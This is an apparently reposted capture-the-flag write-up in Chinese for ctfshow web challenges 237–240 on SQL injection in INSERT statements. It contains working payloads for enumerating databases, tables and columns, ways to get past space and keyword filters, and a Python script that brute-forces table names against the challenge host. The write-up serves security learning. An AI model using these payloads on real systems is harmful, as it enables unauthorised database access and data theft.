ctfshow-web入门-sql注入(web237-web240)insert 注入

news2025/1/17 14:46:32

目录

1、web237

2、web238

3、web239

4、web240


1、web237

查询语句:

 //插入数据
  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

我们需要闭合单引号和括号

添加,查数据库名,payload:

1',database())#

payload 分析 ,将 payload 代入 sql 语句:

$sql = "insert into ctfshow_user(username,pass) value('1',database())#','1');";

实际插入的内容成了 1 和 database()

可以看到数据库名为 ctfshow_web

这里其实我在纠结 # 将后面内容都注释掉了,虽然单引号和括号都正确闭合了,但是 insert 前面单独的双引号不会报错吗?

注意,在这个语句中,insert 前面的双引号其实是 PHP 代码中的字符串起始符,SQL 引擎是不会看到这个双引号的,数据库只会看到去掉了 PHP 引号后的 SQL 语句。
因此,数据库实际接收到的是:

insert into ctfshow_user(username,pass) value('1',database())#','1');

执行时,# 后面的部分被注释掉,数据库只会执行:

insert into ctfshow_user(username,pass) value('1',database());

所以在 PHP 代码中,这样的双引号不会导致 SQL 错误。

接下来就可以继续查表名了:

1',(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'))#

注意整个 select 的查询语句使用括号包裹作为一个整体,否则会查询失败。 

刷新后可以看到有一个名为 flag 的表:

查列名:

1',(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flag'))#

刷新

查 flagass23s3:

1',(select flagass23s3 from flag))#

拿到 flag:ctfshow{5d8ff1bb-c086-4e84-8cb8-ff984ac58316}

2、web238

新增过滤空格

尝试内敛注释绕过,查表名:

1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()))#

不行,查询失败 

1',(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()))#

又试了下 %09,也不行,显示插入成功但是没有回显结果

这里使用括号来绕过,就是将空格分隔的内容,部分使用括号包裹起来:

1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#

存在表名 flagb 

查列名:

1',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')))#

查 flag:

1',(select(flag)from(flagb)))#

拿到 flag:ctfshow{d55cc01f-873c-4918-8bf6-0720af6d49e0}

3、web239

过滤空格 or

同 web235 ,or 被过滤影响到 information_schema 库的使用,采用无列名注入。

查表名:

1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#

flagbb 

查列名:

1',(select(group_concat(`2`))from((select(1,2,3)union(select*from(flagbb)))as(a))))#

这里括号用了太多,感觉有些应该都不符合 SQL 语法了,反正调了很久一直查询失败。

猜它的字段名就叫 flag:

1',(select(flag)from(flagbb)))#

拿到 flag:ctfshow{9f0be653-88e5-4b04-920c-82734eaa14df}

4、web240

过滤空格 or sys mysql

 sys 和 mysql 都被过滤了,怎么查表名呢?

有提示表名:表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

很明显我们是需要爆破表名的后五位。

看了一下,这里提交请求的位置还不是在之前的 api 接口:

这里提交的页面是一个叫 insert.php 的文件

但是直接对 insert.php 进行 post 提交发现没有回显

通过 burpsuite 抓包,发现这里正确的提交接口是 /api/insert.php

由于错误的表名也是会回显插入成功,因此并不能根据请求的响应来直接判断什么时候猜对了,这里我们可以根据下面这个页面的结果里是否出现了 "ctfshow" 来进行判断。

字段名我们还是猜测就是 flag 

附上勇师傅的爆破脚本:

我们这里用 itertools 来生成所有可能的排列组合(笛卡尔积)

# @author:Myon
# @time:20240907
import requests
import itertools

url = 'http://f4ec01a1-a187-4ee8-8029-059c7b5ac62a.challenge.ctf.show/api/insert.php'
url2 = 'http://f4ec01a1-a187-4ee8-8029-059c7b5ac62a.challenge.ctf.show/api/?page=3&limit=10'
dic = itertools.product('ab',repeat=5)
for i in dic:
    p = ''.join(i)
    # print(p)
    payload = {"username":f"1',(select(flag)from(flag{p})))#","password":"1"}
    # print(payload)
    re = requests.post(url, data=payload)
    # print(re.text)
    re2 = requests.get(url2)
    if "ctfshow" in re2.text :
        print(re2.text)

拿到 flag:ctfshow{874d8195-69f7-4308-b99e-1144741fe3bd}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2113000.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

想要从OPPO手机恢复数据?免费OPPO照片视频恢复软件

此实用程序可帮助那些寻找以下内容的用户: 在OPPO手机中格式化存储卡后可以恢复图片吗?我删除了 OPPO上的视频和图片,我感觉很糟糕,因为里面有我在拉斯维加斯拍摄的视频和照片 免费OPPO照片视频恢复软件 您能恢复OPPO上已删除的…

解锁2024年PDF转PPT新技能,TOP4神器在手,职场晋升竟然如此简单

如今职场节奏快,信息传递和展示方式多样。PDF 兼容性强且稳定,用于分享和保存文件;PPT 演示功能强大,在开会、教学和汇报中不可或缺。实际工作中常需将 PDF 转 PPT,以便更好地演示和编辑。市场上因此出现众多高效方便的…

使用NetBackup GUI 图形化进行oracle备份和恢复

转载 一、环境介绍: 这个实验都是在vmware workstation里完成的。由于NetBackup7只能装在64位的系统上,所以这里采用了64位的rhel5.5系统,以及oracle 10gr2 for linux_x64的软件包。数据库的数据文件存储在ASM中。安装rhel、oracle、netback…

Selenium 实现图片验证码识别

前言 在测试过程中,有的时候登录需要输入图片验证码。这时候使用Selenium进行自动化测试,怎么做图片验证码识别?本篇内容主要介绍使用Selenium、BufferedImage、Tesseract进行图片 验证码识别。 环境准备 jdk:1.8 tessdata&…

关于CPP——std::future异步操作

目录 一、std::future 简介 1.1 概念 1.2 应用场景 1.3 关联的方法 1.3.1 std::async 1.3.2 std::package 1.3.3 std::promise 二、future 用法 2.1 使用std::async关联异步任务 2.2 使用std::packaged_task 1. 获取任务结果的机制: 2. 异步任务的管理&a…

jmeter之仅一次控制器

仅一次控制器作用: 不管线程组设置多少次循环,它下面的组件都只会执行一次 Tips:很多情况下需要登录才能访问其他接口,比如:商品列表、添加商品到购物车、购物车列表等,在多场景下,登录只需要…

【STM32 Blue Pill编程】-ADC数据采样(轮询、中断和DMA模式)

ADC数据采样(轮询、中断和DMA模式) 文章目录 ADC数据采样(轮询、中断和DMA模式)1、硬件准备及接线2、ADC轮询模式2.1 轮询模式配置2.2 代码实现3、ADC中断模式3.1 中断模式配置3.2 代码实现4、ADC的DMA模式4.1 DMA模式配置4.2 代码实现在本文中,我们将介绍如何使用 ADC 并…

[JAVA基础知识汇总-1] 创建线程的几种方式

文章目录 1. 继承Thread类2. 实现Runnable接口3. 实现Callable接口4. 线程池 可以认为有四种方式,也可以认为有一种,因为都跟Runnable接口有关 1. 继承Thread类 代码 public class Thread1ExtendsThread extends Thread { // public Thread1(String …

思维导图与头脑风暴:你值得拥有的四大工作与学习利器

在工作与学习中,我们都遇到过这样的情况:我们需要就某一问题或项目,汇集多人的智慧与创意,这时,头脑风暴便成为了我们不可或缺的利器;而为了更好地进行头脑风暴,选择一款合适的在线思维导图工具…

【Qt开发】QT6.5.3安装方法(使用国内源)亲测可行!!!

目录 🌕下载在线安装包🌕 把安装包放到系统盘🌕开始安装🌕参考文章 🌕下载在线安装包 https://mirrors.nju.edu.cn/qt/official_releases/online_installers/ 🌕 把安装包放到系统盘 我的系统盘是G盘&…

uniapp 全屏日历,动态无限加载

不好用请移至评论区揍我 原创代码,请勿转载,谢谢! 注:本人仅在微信小程序测试过,未在其他app/h5尝试过,按理说应该是可以的,代码没有引用任何第三方组件 日历中每个日期下方的空白部分均可自定义,写在代码中的<view class="item">我是内容</view>…

Go入门指南(The Way to Go) 完整版PDF

The Way To Go可以说是入门 Go 的经典书籍&#xff0c;这本书有内容丰富各种资料链接&#xff0c;这是截止到目前&#xff0c;大叔看到的写得最好的go 语言教材&#xff0c;非常详细.一口气读下来&#xff0c;舍不得放手&#xff0c;大叔强烈推荐你去学习 百度网盘分享

docker基于minio部署outline团队知识库

outline 介绍 Outline 是一个开源的Wiki 知识库和团队协作文档管理工具&#xff0c;美观、实时协作、功能丰富且兼容 Markdown&#xff0c;设计用于帮助团队和组织有效地创建、共享和管理文档。 Outline 具有简单易用的界面和强大的功能&#xff0c;可以替代传统的文档管理系…

winndows系统修改cmd用户中文名、系统中文用户名修改为英文用户名的方法

文章目录 一、问题描述二、修改步骤1. 准备&#xff1a;2. 注销&#xff1a;3. 修改&#xff1a;4. 继续修改&#xff1a; 一、问题描述 电脑用户显示中文名&#xff08;我这里已经修改了&#xff09; 二、修改步骤 1. 准备&#xff1a; 我们需要使用 Administrator 登录&am…

OpenGL——画一个填充的三角形

1. vertShader.glsl&#xff08;顶点着色器代码&#xff09;&#xff1a; #version 460void main (void) {if (gl_VertexID 0)gl_Position vec4 (0.25, -0.25, 0.0, 1.0);else if (gl_VertexID 1)gl_Position vec4 (-0.25, -0.25, 0.0, 1.0);elsegl_Position vec4 (0.25,…

[C/C++入门][进制原理]31、求分数序列和

题目来自于信息学奥赛 1078 分析&#xff1a; 这道题看起来比较复杂&#xff0c;实际上只需要通过两个公式&#xff0c;一次性求出分母和分子&#xff0c;然后把这个求出来的数加入到变量和中。甚至都不需要知道总共游哪些数。数组都用不上。循环就能解决。 #include <ios…

快速排序(QuickSort)-归并排序(MergeSort)[java编写]

1. 快速排序 1.1 基本概述 快速排序采用分治思想&#xff0c;即在一个无序的序列中选取一个任意的基准元素pivot&#xff0c;利用pivot 将待排序的序列分成两部分&#xff0c;前面部分元素均小于或等于基准元素&#xff0c;后面部分均大于或等于基准元素&#xff0c;然后采用…

Chapter 10 Stability and Frequency Compensation

Chapter 10 Stability and Frequency Compensation Chapter 8介绍了负反馈, 这一章介绍稳定性, 如果设计不好, 负反馈系统是要发生震荡的. 首先我们学习理解稳定判断标准和条件, 然后学习频率补偿, 介绍适用于不同运放的补偿方式, 同时介绍不同补偿对两级运放slew rate的影响…

2024全新苹果cms影视源码/仿韩剧TV主题模板源码/电影视频在线观看网站源码-自适应 (PC+WAP)

源码简介 2024年最新版的苹果CMS影视源码&#xff0c;仿制了韩剧TV的主题模板&#xff0c;让网站看起来跟韩剧TV一模一样&#xff0c;而且这个源码支持在线观看电影和视频&#xff0c;无论是在电脑&#xff08;PC&#xff09;还是手机&#xff08;WAP&#xff09;上都能完美自…

网络编程之-UDP详解

&#x1f308;个人主页&#xff1a;努力学编程’ ⛅个人推荐&#xff1a; c语言从初阶到进阶 JavaEE详解 数据结构 ⚡学好数据结构&#xff0c;刷题刻不容缓&#xff1a;点击一起刷题 &#x1f319;心灵鸡汤&#xff1a;总有人要赢&#xff0c;为什么不能是我呢 &#x1f3c0…